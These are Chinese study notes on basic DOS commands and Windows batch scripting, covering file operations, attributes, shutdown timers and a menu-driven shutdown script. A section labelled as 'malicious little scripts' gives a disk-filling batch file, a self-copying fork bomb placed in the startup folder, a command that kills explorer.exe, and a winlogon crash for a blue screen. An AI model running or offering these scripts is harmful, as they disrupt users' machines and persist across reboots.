1.基本DOS命令
DOS:磁盘操作系统(Disk Operating System)
【浏览】 切换目录
(1)普通显示:type 文件名.后缀名
(2)分页显示:type 文件名.后缀名 | more (more也可以换成其他,作为分割线中间的字符)
(3)完整(?):type 文件路径及文件名 | more
| 是分页显示的标志
【创建】 切换目录
(1)创建单行文本文件:echo 文本 > 文件名.后缀名
[tips] >> 追加
>覆盖
(2)copy con 文件名.扩展名
编辑文本
ctrl + z + 回车(结束编写)
【改名】 切换目录
ren (旧)文件名.拓展名 (新)文件名.拓展名
【复制】 切换目录
(1)copy (源)文件名.拓展名 (目的)路径
(2)copy (源)路径+文件 (目的)路径
【移动】 切换目录
(1)move (源)文件名.拓展名 (目的)路径
(2)move(源)路径+文件 (目的)路径
【删除】 切换目录
(1)删除单个:del 文件名.拓展名
(2)删除类别:del *.拓展名
del *.* (全删,有提示)
del *.* /q (全删,无提示 )( /s删除根目录,不要随便用)
[tip] *是DOS命令中通配符,不要乱用噢。
【拓展】 切换目录
(1)创建文件:md 文件名
md 文件名 文件名(创建多个目录)
(2)隐藏文件:attrib +h 文件名
attrib +h +s +a文件名
[tip] attrib 可以隐藏文件或文件夹
[tips] +h 隐藏文件
+s 提升为系统级别文件
+a 独属性文件,别人不能修改
(3)取消隐藏:attrib -h 文件名
(4)修改关联性: assoc .拓展名=拓展名(assoc后边有个空格噢)
(5)快速生成一个内容为空、大小不空的文件:
fsutil file createnew 目录.ini 409600000(数字表示文件大小)
【关机】 shutdown -s
shutdown -s -t 100(数字可换,指定时间关机)
shutdown -a(取消一切定时)
shutdown -s -f -t 100(-f:强制)
shutdown -s -t 100 -c “12346” (字符串可换)
【注销】:shutdown -l
logoff
=============================================
2.批处理编写
记事本创建 .bat
2.1 基本用法
(1)@echo off
(2)title
(3)pause
(4)echo.
(5)set
set /p time=请输入时间: (互动赋值)
%time% (引用变量)
/*基本用法*/
/* momo.bat */
@echo off // 关闭回显,屏闭执行过程
title clear rubbish // 标题
color 0a //颜色(0前者代表背景颜色,后者代表字体颜色)
echo ===========
echo hello world
echo ===========
pause //执行时,回车继续
echo. //表示执行结果空一行,(批处理特有用法)
echo cleaning...
d: >nul 2>nul //>nul:屏蔽执行成功的信息
cd \ >nul 2>nul //2>nul:屏蔽执行失败的信息
rd. /s/q >nul 2>nul
ping -n 10 127.0.0.1 >nul 2>nul
echo over...
2.2 恶意小脚本
/*挤爆D盘?*/
/* 一个小病毒? */
/* creat.bat */
d:
cd\
fustil file creatnew d:\sys0.ini 4096000000
fustil file creatnew d:\sys1.ini 4096000000
fustil file creatnew d:\sys2.ini 4096000000
fustil file creatnew d:\sys3.ini 4096000000
fustil file creatnew d:\sys4.ini 4096000000
fustil file creatnew d:\sys5.ini 4096000000
fustil file creatnew d:\sys6.ini 4096000000
/*: 冒号的用法*/
/* : + goto = 一个小病毒*/
/* 123.bat */
/*copy 123.bat "%userprofile%\[开始]\程序\启动" //用哪个用户登录就是哪个,%userprofile%:系统自定义的。记得加双引号噢。*/
copy 123.bat c:\Documents and Settings\Administrator\[开始]\程序\启动 //开机自启动,win2003
:d
start
goto d //执行d操作
/*关闭桌面*/
taskkill /im explorer.exe /f >nul 2>nul //杀死一个桌面
ping -n 5 127.0.0.1 >nul 2>nul
start c:\windows\explorer.exe
/*taskkill*/
/*// im:指定名称, 后跟指定名称*/
/*蓝屏*/// 只针对xp和2003的蓝屏命令
ntsd -c q -pn winlogon.exe
2.3 关机小程序
/* 一个小程序:关机*/
/* shutdown.bat */
@echo off
title 你要关机吗v1.0
color 0a
:menu
cls
echo =================
echo 菜单
echo 1.定时关机
echo 2.取消定时
echo 3.退出
echo =================
set /p num=你的选择:
if "%num%"=="1" goto 1
if "%num%"=="2" goto 2
if "%num%"=="3" goto 3
echo 只能输入1/2/3噢!!!
pause
goto menu
:1
set /p a=请输入关机前等待时间(单位:秒 //等待用户输入
shutdown -s -f -t %a%
goto menu
:2
shutdown -a
//echo :a>> "%userprofile%\[开始]\程序\启动\123.bat" //添加到开机启动里
//echo start>> "%userprofile%\[开始]\程序\启动\123.bat"
//echo goto a>> "%userprofile%\[开始]\程序\启动\123.bat"
goto menu
:3
exit